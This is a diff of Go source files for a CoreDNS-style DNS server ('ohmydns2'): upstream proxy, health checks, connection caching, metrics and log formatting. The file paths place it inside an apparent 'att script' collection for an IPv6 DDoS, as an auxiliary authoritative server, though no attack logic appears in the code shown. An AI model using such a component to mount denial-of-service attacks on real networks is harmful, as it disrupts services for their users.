if proto == "udp" {
|
||||
if _, ok := err.(net.Error); !ok {
|
||||
continue
|
||||
}
|
||||
}
|
||||
pc.c.Close() // connection closed by peer, close the persistent connection
|
||||
if err == io.EOF && cached {
|
||||
return nil, ErrCachedClosed
|
||||
}
|
||||
|
||||
// recover the origin Id after upstream.
|
||||
if ret != nil {
|
||||
ret.Id = originId
|
||||
}
|
||||
return ret, err
|
||||
}
|
||||
// drop out-of-order responses
|
||||
if state.Req.Id == ret.Id {
|
||||
break
|
||||
}
|
||||
}
|
||||
// recovery the origin Id after upstream.
|
||||
ret.Id = originId
|
||||
|
||||
p.transport.Yield(pc)
|
||||
|
||||
rc, ok := dns.RcodeToString[ret.Rcode]
|
||||
if !ok {
|
||||
rc = strconv.Itoa(ret.Rcode)
|
||||
}
|
||||
|
||||
RequestCount.WithLabelValues(p.addr).Add(1)
|
||||
RcodeCount.WithLabelValues(rc, p.addr).Add(1)
|
||||
RequestDuration.WithLabelValues(p.addr, rc).Observe(time.Since(start).Seconds())
|
||||
|
||||
return ret, nil
|
||||
}
|
||||
|
||||
const cumulativeAvgWeight = 4
|
||||
24
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/error.go
Normal file
24
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/error.go
Normal file
@@ -0,0 +1,24 @@
|
||||
package proxy
|
||||
|
||||
import "errors"
|
||||
|
||||
var (
|
||||
// ErrNoHealthy means no healthy proxies left.
|
||||
ErrNoHealthy = errors.New("no healthy proxies")
|
||||
// ErrNoForward means no forwarder defined.
|
||||
ErrNoForward = errors.New("no forwarder defined")
|
||||
// ErrCachedClosed means cached connection was closed by peer.
|
||||
ErrCachedClosed = errors.New("cached connection was closed by peer")
|
||||
)
|
||||
|
||||
// Options holds various Options that can be set.
|
||||
type Options struct {
|
||||
// ForceTCP use TCP protocol for upstream DNS request. Has precedence over PreferUDP flag
|
||||
ForceTCP bool
|
||||
// PreferUDP use UDP protocol for upstream DNS request.
|
||||
PreferUDP bool
|
||||
// HCRecursionDesired sets recursion desired flag for Proxy healthcheck requests
|
||||
HCRecursionDesired bool
|
||||
// HCDomain sets domain for Proxy healthcheck requests
|
||||
HCDomain string
|
||||
}
|
||||
130
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/health.go
Normal file
130
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/health.go
Normal file
@@ -0,0 +1,130 @@
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"ohmydns2/plugin/pkg/log"
|
||||
"ohmydns2/plugin/pkg/transport"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
// HealthChecker 检查上游是否健康
|
||||
type HealthChecker interface {
|
||||
Check(*Proxy) error
|
||||
SetTLSConfig(*tls.Config)
|
||||
GetTLSConfig() *tls.Config
|
||||
SetRecursionDesired(bool)
|
||||
GetRecursionDesired() bool
|
||||
SetDomain(domain string)
|
||||
GetDomain() string
|
||||
SetTCPTransport()
|
||||
GetReadTimeout() time.Duration
|
||||
SetReadTimeout(time.Duration)
|
||||
GetWriteTimeout() time.Duration
|
||||
SetWriteTimeout(time.Duration)
|
||||
}
|
||||
|
||||
// dnsHc is a health checker for a DNS endpoint (DNS, and DoT).
|
||||
type dnsHc struct {
|
||||
c *dns.Client
|
||||
recursionDesired bool
|
||||
domain string
|
||||
}
|
||||
|
||||
// NewHealthChecker returns a new HealthChecker based on transport.
|
||||
func NewHealthChecker(trans string, recursionDesired bool, domain string) HealthChecker {
|
||||
switch trans {
|
||||
case transport.DNS, transport.TLS:
|
||||
c := new(dns.Client)
|
||||
c.Net = "udp"
|
||||
c.ReadTimeout = 1 * time.Second
|
||||
c.WriteTimeout = 1 * time.Second
|
||||
|
||||
return &dnsHc{
|
||||
c: c,
|
||||
recursionDesired: recursionDesired,
|
||||
domain: domain,
|
||||
}
|
||||
}
|
||||
|
||||
log.Warningf("No healthchecker for transport %q", trans)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (h *dnsHc) SetTLSConfig(cfg *tls.Config) {
|
||||
h.c.Net = "tcp-tls"
|
||||
h.c.TLSConfig = cfg
|
||||
}
|
||||
|
||||
func (h *dnsHc) GetTLSConfig() *tls.Config {
|
||||
return h.c.TLSConfig
|
||||
}
|
||||
|
||||
func (h *dnsHc) SetRecursionDesired(recursionDesired bool) {
|
||||
h.recursionDesired = recursionDesired
|
||||
}
|
||||
func (h *dnsHc) GetRecursionDesired() bool {
|
||||
return h.recursionDesired
|
||||
}
|
||||
|
||||
func (h *dnsHc) SetDomain(domain string) {
|
||||
h.domain = domain
|
||||
}
|
||||
func (h *dnsHc) GetDomain() string {
|
||||
return h.domain
|
||||
}
|
||||
|
||||
func (h *dnsHc) SetTCPTransport() {
|
||||
h.c.Net = "tcp"
|
||||
}
|
||||
|
||||
func (h *dnsHc) GetReadTimeout() time.Duration {
|
||||
return h.c.ReadTimeout
|
||||
}
|
||||
|
||||
func (h *dnsHc) SetReadTimeout(t time.Duration) {
|
||||
h.c.ReadTimeout = t
|
||||
}
|
||||
|
||||
func (h *dnsHc) GetWriteTimeout() time.Duration {
|
||||
return h.c.WriteTimeout
|
||||
}
|
||||
|
||||
func (h *dnsHc) SetWriteTimeout(t time.Duration) {
|
||||
h.c.WriteTimeout = t
|
||||
}
|
||||
|
||||
// For HC, we send to . IN NS +[no]rec message to the upstream. Dial timeouts and empty
|
||||
// replies are considered fails, basically anything else constitutes a healthy upstream.
|
||||
|
||||
// Check is used as the up.Func in the up.Probe.
|
||||
func (h *dnsHc) Check(p *Proxy) error {
|
||||
err := h.send(p.addr)
|
||||
if err != nil {
|
||||
HealthcheckFailureCount.WithLabelValues(p.addr).Add(1)
|
||||
p.incrementFails()
|
||||
return err
|
||||
}
|
||||
|
||||
atomic.StoreUint32(&p.fails, 0)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (h *dnsHc) send(addr string) error {
|
||||
ping := new(dns.Msg)
|
||||
ping.SetQuestion(h.domain, dns.TypeNS)
|
||||
ping.MsgHdr.RecursionDesired = h.recursionDesired
|
||||
|
||||
m, _, err := h.c.Exchange(ping, addr)
|
||||
// If we got a header, we're alright, basically only care about I/O errors 'n stuff.
|
||||
if err != nil && m != nil {
|
||||
// Silly check, something sane came back.
|
||||
if m.Response || m.Opcode == dns.OpcodeQuery {
|
||||
err = nil
|
||||
}
|
||||
}
|
||||
|
||||
return err
|
||||
}
|
||||
@@ -0,0 +1,49 @@
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"ohmydns2/plugin"
|
||||
|
||||
"github.com/prometheus/client_golang/prometheus"
|
||||
"github.com/prometheus/client_golang/prometheus/promauto"
|
||||
)
|
||||
|
||||
// Variables declared for monitoring.
|
||||
var (
|
||||
RequestCount = promauto.NewCounterVec(prometheus.CounterOpts{
|
||||
Namespace: plugin.Namespace,
|
||||
Subsystem: "proxy",
|
||||
Name: "requests_total",
|
||||
Help: "Counter of requests made per upstream.",
|
||||
}, []string{"to"})
|
||||
RcodeCount = promauto.NewCounterVec(prometheus.CounterOpts{
|
||||
Namespace: plugin.Namespace,
|
||||
Subsystem: "proxy",
|
||||
Name: "responses_total",
|
||||
Help: "Counter of responses received per upstream.",
|
||||
}, []string{"rcode", "to"})
|
||||
RequestDuration = promauto.NewHistogramVec(prometheus.HistogramOpts{
|
||||
Namespace: plugin.Namespace,
|
||||
Subsystem: "proxy",
|
||||
Name: "request_duration_seconds",
|
||||
Buckets: plugin.TimeBuckets,
|
||||
Help: "Histogram of the time each request took.",
|
||||
}, []string{"to", "rcode"})
|
||||
HealthcheckFailureCount = promauto.NewCounterVec(prometheus.CounterOpts{
|
||||
Namespace: plugin.Namespace,
|
||||
Subsystem: "proxy",
|
||||
Name: "healthcheck_failures_total",
|
||||
Help: "Counter of the number of failed healthchecks.",
|
||||
}, []string{"to"})
|
||||
ConnCacheHitsCount = promauto.NewCounterVec(prometheus.CounterOpts{
|
||||
Namespace: plugin.Namespace,
|
||||
Subsystem: "proxy",
|
||||
Name: "conn_cache_hits_total",
|
||||
Help: "Counter of connection cache hits per upstream and protocol.",
|
||||
}, []string{"to", "proto"})
|
||||
ConnCacheMissesCount = promauto.NewCounterVec(prometheus.CounterOpts{
|
||||
Namespace: plugin.Namespace,
|
||||
Subsystem: "proxy",
|
||||
Name: "conn_cache_misses_total",
|
||||
Help: "Counter of connection cache misses per upstream and protocol.",
|
||||
}, []string{"to", "proto"})
|
||||
)
|
||||
@@ -0,0 +1,157 @@
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"sort"
|
||||
"time"
|
||||
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
// a persistConn hold the dns.Conn and the last used time.
|
||||
type persistConn struct {
|
||||
c *dns.Conn
|
||||
used time.Time
|
||||
}
|
||||
|
||||
// Transport hold the persistent cache.
|
||||
type Transport struct {
|
||||
avgDialTime int64 // kind of average time of dial time
|
||||
conns [typeTotalCount][]*persistConn // Buckets for udp, tcp and tcp-tls.
|
||||
expire time.Duration // After this duration a connection is expired.
|
||||
addr string
|
||||
tlsConfig *tls.Config
|
||||
|
||||
dial chan string
|
||||
yield chan *persistConn
|
||||
ret chan *persistConn
|
||||
stop chan bool
|
||||
}
|
||||
|
||||
func newTransport(addr string) *Transport {
|
||||
print(addr)
|
||||
t := &Transport{
|
||||
avgDialTime: int64(maxDialTimeout / 2),
|
||||
conns: [typeTotalCount][]*persistConn{},
|
||||
expire: defaultExpire,
|
||||
addr: addr,
|
||||
dial: make(chan string),
|
||||
yield: make(chan *persistConn),
|
||||
ret: make(chan *persistConn),
|
||||
stop: make(chan bool),
|
||||
}
|
||||
return t
|
||||
}
|
||||
|
||||
// connManager manages the persistent connection cache for UDP and TCP.
|
||||
func (t *Transport) connManager() {
|
||||
ticker := time.NewTicker(defaultExpire)
|
||||
defer ticker.Stop()
|
||||
Wait:
|
||||
for {
|
||||
select {
|
||||
case proto := <-t.dial:
|
||||
transtype := stringToTransportType(proto)
|
||||
// take the last used conn - complexity O(1)
|
||||
if stack := t.conns[transtype]; len(stack) > 0 {
|
||||
pc := stack[len(stack)-1]
|
||||
if time.Since(pc.used) < t.expire {
|
||||
// Found one, remove from pool and return this conn.
|
||||
t.conns[transtype] = stack[:len(stack)-1]
|
||||
t.ret <- pc
|
||||
continue Wait
|
||||
}
|
||||
// clear entire cache if the last conn is expired
|
||||
t.conns[transtype] = nil
|
||||
// now, the connections being passed to closeConns() are not reachable from
|
||||
// transport methods anymore. So, it's safe to close them in a separate goroutine
|
||||
go closeConns(stack)
|
||||
}
|
||||
t.ret <- nil
|
||||
|
||||
case pc := <-t.yield:
|
||||
transtype := t.transportTypeFromConn(pc)
|
||||
t.conns[transtype] = append(t.conns[transtype], pc)
|
||||
|
||||
case <-ticker.C:
|
||||
t.cleanup(false)
|
||||
|
||||
case <-t.stop:
|
||||
t.cleanup(true)
|
||||
close(t.ret)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// closeConns closes connections.
|
||||
func closeConns(conns []*persistConn) {
|
||||
for _, pc := range conns {
|
||||
pc.c.Close()
|
||||
}
|
||||
}
|
||||
|
||||
// cleanup removes connections from cache.
|
||||
func (t *Transport) cleanup(all bool) {
|
||||
staleTime := time.Now().Add(-t.expire)
|
||||
for transtype, stack := range t.conns {
|
||||
if len(stack) == 0 {
|
||||
continue
|
||||
}
|
||||
if all {
|
||||
t.conns[transtype] = nil
|
||||
// now, the connections being passed to closeConns() are not reachable from
|
||||
// transport methods anymore. So, it's safe to close them in a separate goroutine
|
||||
go closeConns(stack)
|
||||
continue
|
||||
}
|
||||
if stack[0].used.After(staleTime) {
|
||||
continue
|
||||
}
|
||||
|
||||
// connections in stack are sorted by "used"
|
||||
good := sort.Search(len(stack), func(i int) bool {
|
||||
return stack[i].used.After(staleTime)
|
||||
})
|
||||
t.conns[transtype] = stack[good:]
|
||||
// now, the connections being passed to closeConns() are not reachable from
|
||||
// transport methods anymore. So, it's safe to close them in a separate goroutine
|
||||
go closeConns(stack[:good])
|
||||
}
|
||||
}
|
||||
|
||||
// It is hard to pin a value to this, the import thing is to no block forever, losing at cached connection is not terrible.
|
||||
const yieldTimeout = 25 * time.Millisecond
|
||||
|
||||
// Yield returns the connection to transport for reuse.
|
||||
func (t *Transport) Yield(pc *persistConn) {
|
||||
pc.used = time.Now() // update used time
|
||||
|
||||
// Make this non-blocking, because in the case of a very busy forwarder we will *block* on this yield. This
|
||||
// blocks the outer go-routine and stuff will just pile up. We timeout when the send fails to as returning
|
||||
// these connection is an optimization anyway.
|
||||
select {
|
||||
case t.yield <- pc:
|
||||
return
|
||||
case <-time.After(yieldTimeout):
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// Start starts the transport's connection manager.
|
||||
func (t *Transport) Start() { go t.connManager() }
|
||||
|
||||
// Stop stops the transport's connection manager.
|
||||
func (t *Transport) Stop() { close(t.stop) }
|
||||
|
||||
// SetExpire sets the connection expire time in transport.
|
||||
func (t *Transport) SetExpire(expire time.Duration) { t.expire = expire }
|
||||
|
||||
// SetTLSConfig sets the TLS config in transport.
|
||||
func (t *Transport) SetTLSConfig(cfg *tls.Config) { t.tlsConfig = cfg }
|
||||
|
||||
const (
|
||||
defaultExpire = 10 * time.Second
|
||||
minDialTimeout = 1 * time.Second
|
||||
maxDialTimeout = 30 * time.Second
|
||||
)
|
||||
107
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/proxy.go
Normal file
107
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/proxy.go
Normal file
@@ -0,0 +1,107 @@
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"ohmydns2/plugin/pkg/log"
|
||||
"ohmydns2/plugin/pkg/up"
|
||||
"runtime"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Proxy 定义了上游
|
||||
type Proxy struct {
|
||||
fails uint32
|
||||
addr string
|
||||
transport *Transport
|
||||
readTimeOut time.Duration
|
||||
|
||||
// 存活检查
|
||||
probe *up.Probe
|
||||
health HealthChecker
|
||||
}
|
||||
|
||||
//TODO:增加对HTTPS的支持
|
||||
|
||||
// NewProxy returns a new proxy.
|
||||
func NewProxy(addr, trans string) *Proxy {
|
||||
p := &Proxy{
|
||||
addr: addr,
|
||||
fails: 0,
|
||||
probe: up.New(),
|
||||
readTimeOut: 2 * time.Second,
|
||||
transport: newTransport(addr),
|
||||
}
|
||||
p.health = NewHealthChecker(trans, true, ".")
|
||||
runtime.SetFinalizer(p, (*Proxy).finalizer)
|
||||
return p
|
||||
}
|
||||
|
||||
func (p *Proxy) Addr() string { return p.addr }
|
||||
|
||||
// SetTLSConfig sets the TLS config in the lower p.transport and in the healthchecking client.
|
||||
func (p *Proxy) SetTLSConfig(cfg *tls.Config) {
|
||||
p.transport.SetTLSConfig(cfg)
|
||||
p.health.SetTLSConfig(cfg)
|
||||
}
|
||||
|
||||
// SetExpire sets the expire duration in the lower p.transport.
|
||||
func (p *Proxy) SetExpire(expire time.Duration) { p.transport.SetExpire(expire) }
|
||||
|
||||
func (p *Proxy) GetHealthchecker() HealthChecker {
|
||||
return p.health
|
||||
}
|
||||
|
||||
func (p *Proxy) Fails() uint32 {
|
||||
return atomic.LoadUint32(&p.fails)
|
||||
}
|
||||
|
||||
// Healthcheck kicks of a round of health checks for this proxy.
|
||||
func (p *Proxy) Healthcheck() {
|
||||
if p.health == nil {
|
||||
log.Warning("No healthchecker")
|
||||
return
|
||||
}
|
||||
|
||||
p.probe.Do(func() error {
|
||||
return p.health.Check(p)
|
||||
})
|
||||
}
|
||||
|
||||
// Down returns true if this proxy is down, i.e. has *more* fails than maxfails.
|
||||
func (p *Proxy) Down(maxfails uint32) bool {
|
||||
if maxfails == 0 {
|
||||
return false
|
||||
}
|
||||
|
||||
fails := atomic.LoadUint32(&p.fails)
|
||||
return fails > maxfails
|
||||
}
|
||||
|
||||
// Stop close stops the health checking goroutine.
|
||||
func (p *Proxy) Stop() { p.probe.Stop() }
|
||||
func (p *Proxy) finalizer() { p.transport.Stop() }
|
||||
|
||||
// Start starts the proxy's healthchecking.
|
||||
func (p *Proxy) Start(duration time.Duration) {
|
||||
p.probe.Start(duration)
|
||||
p.transport.Start()
|
||||
}
|
||||
|
||||
func (p *Proxy) SetReadTimeout(duration time.Duration) {
|
||||
p.readTimeOut = duration
|
||||
}
|
||||
|
||||
// incrementFails increments the number of fails safely.
|
||||
func (p *Proxy) incrementFails() {
|
||||
curVal := atomic.LoadUint32(&p.fails)
|
||||
if curVal > curVal+1 {
|
||||
// overflow occurred, do not update the counter again
|
||||
return
|
||||
}
|
||||
atomic.AddUint32(&p.fails, 1)
|
||||
}
|
||||
|
||||
const (
|
||||
maxTimeout = 2 * time.Second
|
||||
)
|
||||
40
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/type.go
Normal file
40
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/proxy/type.go
Normal file
@@ -0,0 +1,40 @@
|
||||
package proxy
|
||||
|
||||
import "net"
|
||||
|
||||
type transportType int
|
||||
|
||||
const (
|
||||
typeUDP transportType = iota
|
||||
typeTCP
|
||||
typeTLS
|
||||
typeHTTPS
|
||||
typeTotalCount // keep this last
|
||||
)
|
||||
|
||||
func stringToTransportType(s string) transportType {
|
||||
switch s {
|
||||
case "udp":
|
||||
return typeUDP
|
||||
case "tcp":
|
||||
return typeTCP
|
||||
case "tcp-tls":
|
||||
return typeTLS
|
||||
case "tcp-https":
|
||||
return typeHTTPS
|
||||
}
|
||||
|
||||
return typeUDP
|
||||
}
|
||||
|
||||
func (t *Transport) transportTypeFromConn(pc *persistConn) transportType {
|
||||
if _, ok := pc.c.Conn.(*net.UDPConn); ok {
|
||||
return typeUDP
|
||||
}
|
||||
|
||||
if t.tlsConfig == nil {
|
||||
return typeTCP
|
||||
}
|
||||
// TODO:判断HTTPS和TLS
|
||||
return typeTLS
|
||||
}
|
||||
34
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/rand/rand.go
Normal file
34
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/rand/rand.go
Normal file
@@ -0,0 +1,34 @@
|
||||
package rand
|
||||
|
||||
import (
|
||||
"math/rand"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// Rand is used for concurrency safe random number generator.
|
||||
type Rand struct {
|
||||
m sync.Mutex
|
||||
r *rand.Rand
|
||||
}
|
||||
|
||||
// New returns a new Rand from seed.
|
||||
func New(seed int64) *Rand {
|
||||
return &Rand{r: rand.New(rand.NewSource(seed))}
|
||||
}
|
||||
|
||||
// Int returns a non-negative pseudo-random int from the Source in Rand.r.
|
||||
func (r *Rand) Int() int {
|
||||
r.m.Lock()
|
||||
v := r.r.Int()
|
||||
r.m.Unlock()
|
||||
return v
|
||||
}
|
||||
|
||||
// Perm returns, as a slice of n ints, a pseudo-random permutation of the
|
||||
// integers in the half-open interval [0,n) from the Source in Rand.r.
|
||||
func (r *Rand) Perm(n int) []int {
|
||||
r.m.Lock()
|
||||
v := r.r.Perm(n)
|
||||
r.m.Unlock()
|
||||
return v
|
||||
}
|
||||
15
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/rcode/rcode.go
Normal file
15
att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/rcode/rcode.go
Normal file
@@ -0,0 +1,15 @@
|
||||
package rcode
|
||||
|
||||
import (
|
||||
"strconv"
|
||||
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
// ToString convert the rcode to the official DNS string, or to "RCODE"+value if the RCODE value is unknown.
|
||||
func ToString(rcode int) string {
|
||||
if str, ok := dns.RcodeToString[rcode]; ok {
|
||||
return str
|
||||
}
|
||||
return "RCODE" + strconv.Itoa(rcode)
|
||||
}
|
||||
@@ -0,0 +1,275 @@
|
||||
package replacer
|
||||
|
||||
import (
|
||||
"context"
|
||||
"github.com/miekg/dns"
|
||||
"ohmydns2/plugin/metadata"
|
||||
"ohmydns2/plugin/pkg/dnstest"
|
||||
"ohmydns2/plugin/pkg/request"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Replacer replaces labels for values in strings.
|
||||
type Replacer struct{}
|
||||
|
||||
// New makes a new replacer. This only needs to be called once in the setup and
|
||||
// then call Replace for each incoming message. A replacer is safe for concurrent use.
|
||||
func New() Replacer {
|
||||
return Replacer{}
|
||||
}
|
||||
|
||||
// Replace performs a replacement of values on s and returns the string with the replaced values.
|
||||
func (r Replacer) Replace(ctx context.Context, state request.Request, rr *dnstest.Recorder, s string) string {
|
||||
return loadFormat(s).Replace(ctx, state, rr)
|
||||
}
|
||||
|
||||
const (
|
||||
headerReplacer = "{>"
|
||||
// EmptyValue is the default empty value.
|
||||
EmptyValue = "-"
|
||||
)
|
||||
|
||||
// labels are all supported labels that can be used in the default Replacer.
|
||||
var labels = map[string]struct{}{
|
||||
"{type}": {},
|
||||
"{name}": {},
|
||||
"{class}": {},
|
||||
"{proto}": {},
|
||||
"{size}": {},
|
||||
"{remote}": {},
|
||||
"{port}": {},
|
||||
"{local}": {},
|
||||
// Header values.
|
||||
headerReplacer + "id}": {},
|
||||
headerReplacer + "opcode}": {},
|
||||
headerReplacer + "do}": {},
|
||||
headerReplacer + "bufsize}": {},
|
||||
// Recorded replacements.
|
||||
"{rcode}": {},
|
||||
"{rsize}": {},
|
||||
"{duration}": {},
|
||||
headerReplacer + "rflags}": {},
|
||||
}
|
||||
|
||||
// appendValue appends the current value of label.
|
||||
func appendValue(b []byte, state request.Request, rr *dnstest.Recorder, label string) []byte {
|
||||
switch label {
|
||||
case "{type}":
|
||||
return append(b, state.Type()...)
|
||||
case "{name}":
|
||||
return append(b, state.Name()...)
|
||||
case "{class}":
|
||||
return append(b, state.Class()...)
|
||||
case "{proto}":
|
||||
return append(b, state.Proto()...)
|
||||
case "{size}":
|
||||
return strconv.AppendInt(b, int64(state.Req.Len()), 10)
|
||||
case "{remote}":
|
||||
return appendAddrToRFC3986(b, state.IP())
|
||||
case "{port}":
|
||||
return append(b, state.Port()...)
|
||||
case "{local}":
|
||||
return appendAddrToRFC3986(b, state.LocalIP())
|
||||
// Header placeholders (case-insensitive).
|
||||
case headerReplacer + "id}":
|
||||
return strconv.AppendInt(b, int64(state.Req.Id), 10)
|
||||
case headerReplacer + "opcode}":
|
||||
return strconv.AppendInt(b, int64(state.Req.Opcode), 10)
|
||||
case headerReplacer + "do}":
|
||||
return strconv.AppendBool(b, state.Do())
|
||||
case headerReplacer + "bufsize}":
|
||||
return strconv.AppendInt(b, int64(state.Size()), 10)
|
||||
// Recorded replacements.
|
||||
case "{rcode}":
|
||||
if rr == nil || rr.Msg == nil {
|
||||
return append(b, EmptyValue...)
|
||||
}
|
||||
if rcode := dns.RcodeToString[rr.Rcode]; rcode != "" {
|
||||
return append(b, rcode...)
|
||||
}
|
||||
return strconv.AppendInt(b, int64(rr.Rcode), 10)
|
||||
case "{rsize}":
|
||||
if rr == nil {
|
||||
return append(b, EmptyValue...)
|
||||
}
|
||||
return strconv.AppendInt(b, int64(rr.Len), 10)
|
||||
case "{duration}":
|
||||
if rr == nil {
|
||||
return append(b, EmptyValue...)
|
||||
}
|
||||
secs := time.Since(rr.Start).Seconds()
|
||||
return append(strconv.AppendFloat(b, secs, 'f', -1, 64), 's')
|
||||
case headerReplacer + "rflags}":
|
||||
if rr != nil && rr.Msg != nil {
|
||||
return appendFlags(b, rr.Msg.MsgHdr)
|
||||
}
|
||||
return append(b, EmptyValue...)
|
||||
default:
|
||||
return append(b, EmptyValue...)
|
||||
}
|
||||
}
|
||||
|
||||
// appendFlags checks all header flags and appends those
|
||||
// that are set as a string separated with commas
|
||||
func appendFlags(b []byte, h dns.MsgHdr) []byte {
|
||||
origLen := len(b)
|
||||
if h.Response {
|
||||
b = append(b, "qr,"...)
|
||||
}
|
||||
if h.Authoritative {
|
||||
b = append(b, "aa,"...)
|
||||
}
|
||||
if h.Truncated {
|
||||
b = append(b, "tc,"...)
|
||||
}
|
||||
if h.RecursionDesired {
|
||||
b = append(b, "rd,"...)
|
||||
}
|
||||
if h.RecursionAvailable {
|
||||
b = append(b, "ra,"...)
|
||||
}
|
||||
if h.Zero {
|
||||
b = append(b, "z,"...)
|
||||
}
|
||||
if h.AuthenticatedData {
|
||||
b = append(b, "ad,"...)
|
||||
}
|
||||
if h.CheckingDisabled {
|
||||
b = append(b, "cd,"...)
|
||||
}
|
||||
if n := len(b); n > origLen {
|
||||
return b[:n-1] // trim trailing ','
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
||||
// appendAddrToRFC3986 will add brackets to the address if it is an IPv6 address.
|
||||
func appendAddrToRFC3986(b []byte, addr string) []byte {
|
||||
if strings.IndexByte(addr, ':') != -1 {
|
||||
b = append(b, '[')
|
||||
b = append(b, addr...)
|
||||
b = append(b, ']')
|
||||
} else {
|
||||
b = append(b, addr...)
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
||||
type nodeType int
|
||||
|
||||
const (
|
||||
typeLabel nodeType = iota // "{type}"
|
||||
typeLiteral // "foo"
|
||||
typeMetadata // "{/metadata}"
|
||||
)
|
||||
|
||||
// A node represents a segment of a parsed format. For example: "A {type}"
|
||||
// contains two nodes: "A " (literal); and "{type}" (label).
|
||||
type node struct {
|
||||
value string // Literal value, label or metadata label
|
||||
typ nodeType
|
||||
}
|
||||
|
||||
// A replacer is an ordered list of all the nodes in a format.
|
||||
type replacer []node
|
||||
|
||||
func parseFormat(s string) replacer {
|
||||
// Assume there is a literal between each label - its cheaper to over
|
||||
// allocate once than allocate twice.
|
||||
rep := make(replacer, 0, strings.Count(s, "{")*2)
|
||||
for {
|
||||
// We find the right bracket then backtrack to find the left bracket.
|
||||
// This allows us to handle formats like: "{ {foo} }".
|
||||
j := strings.IndexByte(s, '}')
|
||||
if j < 0 {
|
||||
break
|
||||
}
|
||||
i := strings.LastIndexByte(s[:j], '{')
|
||||
if i < 0 {
|
||||
// Handle: "A } {foo}" by treating "A }" as a literal
|
||||
rep = append(rep, node{
|
||||
value: s[:j+1],
|
||||
typ: typeLiteral,
|
||||
})
|
||||
s = s[j+1:]
|
||||
continue
|
||||
}
|
||||
|
||||
val := s[i : j+1]
|
||||
var typ nodeType
|
||||
switch _, ok := labels[val]; {
|
||||
case ok:
|
||||
typ = typeLabel
|
||||
case strings.HasPrefix(val, "{/"):
|
||||
// Strip "{/}" from metadata labels
|
||||
val = val[2 : len(val)-1]
|
||||
typ = typeMetadata
|
||||
default:
|
||||
// Given: "A {X}" val is "{X}" expand it to the whole literal.
|
||||
val = s[:j+1]
|
||||
typ = typeLiteral
|
||||
}
|
||||
|
||||
// Append any leading literal. Given "A {type}" the literal is "A "
|
||||
if i != 0 && typ != typeLiteral {
|
||||
rep = append(rep, node{
|
||||
value: s[:i],
|
||||
typ: typeLiteral,
|
||||
})
|
||||
}
|
||||
rep = append(rep, node{
|
||||
value: val,
|
||||
typ: typ,
|
||||
})
|
||||
s = s[j+1:]
|
||||
}
|
||||
if len(s) != 0 {
|
||||
rep = append(rep, node{
|
||||
value: s,
|
||||
typ: typeLiteral,
|
||||
})
|
||||
}
|
||||
return rep
|
||||
}
|
||||
|
||||
var replacerCache sync.Map // map[string]replacer
|
||||
|
||||
func loadFormat(s string) replacer {
|
||||
if v, ok := replacerCache.Load(s); ok {
|
||||
return v.(replacer)
|
||||
}
|
||||
v, _ := replacerCache.LoadOrStore(s, parseFormat(s))
|
||||
return v.(replacer)
|
||||
}
|
||||
|
||||
// bufPool stores pointers to scratch buffers.
|
||||
var bufPool = sync.Pool{
|
||||
New: func() interface{} {
|
||||
return make([]byte, 0, 256)
|
||||
},
|
||||
}
|
||||
|
||||
func (r replacer) Replace(ctx context.Context, state request.Request, rr *dnstest.Recorder) string {
|
||||
b := bufPool.Get().([]byte)
|
||||
for _, s := range r {
|
||||
switch s.typ {
|
||||
case typeLabel:
|
||||
b = appendValue(b, state, rr, s.value)
|
||||
case typeLiteral:
|
||||
b = append(b, s.value...)
|
||||
case typeMetadata:
|
||||
if fm := metadata.ValueFunc(ctx, s.value); fm != nil {
|
||||
b = append(b, fm()...)
|
||||
} else {
|
||||
b = append(b, EmptyValue...)
|
||||
}
|
||||
}
|
||||
}
|
||||
s := string(b)
|
||||
//nolint:staticcheck
|
||||
bufPool.Put(b[:0])
|
||||
return s
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
所有*Ohmydns*接收到的请求将由request中的函数进行处理
|
||||
@@ -0,0 +1,30 @@
|
||||
package request
|
||||
|
||||
import (
|
||||
"github.com/miekg/dns"
|
||||
"ohmydns2/plugin/pkg/edns"
|
||||
)
|
||||
|
||||
func supportedOptions(o []dns.EDNS0) []dns.EDNS0 {
|
||||
var supported = make([]dns.EDNS0, 0, 3)
|
||||
// For as long as possible try avoid looking up in the map, because that need an Rlock.
|
||||
for _, opt := range o {
|
||||
switch code := opt.Option(); code {
|
||||
case dns.EDNS0NSID:
|
||||
fallthrough
|
||||
case dns.EDNS0EXPIRE:
|
||||
fallthrough
|
||||
case dns.EDNS0COOKIE:
|
||||
fallthrough
|
||||
case dns.EDNS0TCPKEEPALIVE:
|
||||
fallthrough
|
||||
case dns.EDNS0PADDING:
|
||||
supported = append(supported, opt)
|
||||
default:
|
||||
if edns.SupportedOption(code) {
|
||||
supported = append(supported, opt)
|
||||
}
|
||||
}
|
||||
}
|
||||
return supported
|
||||
}
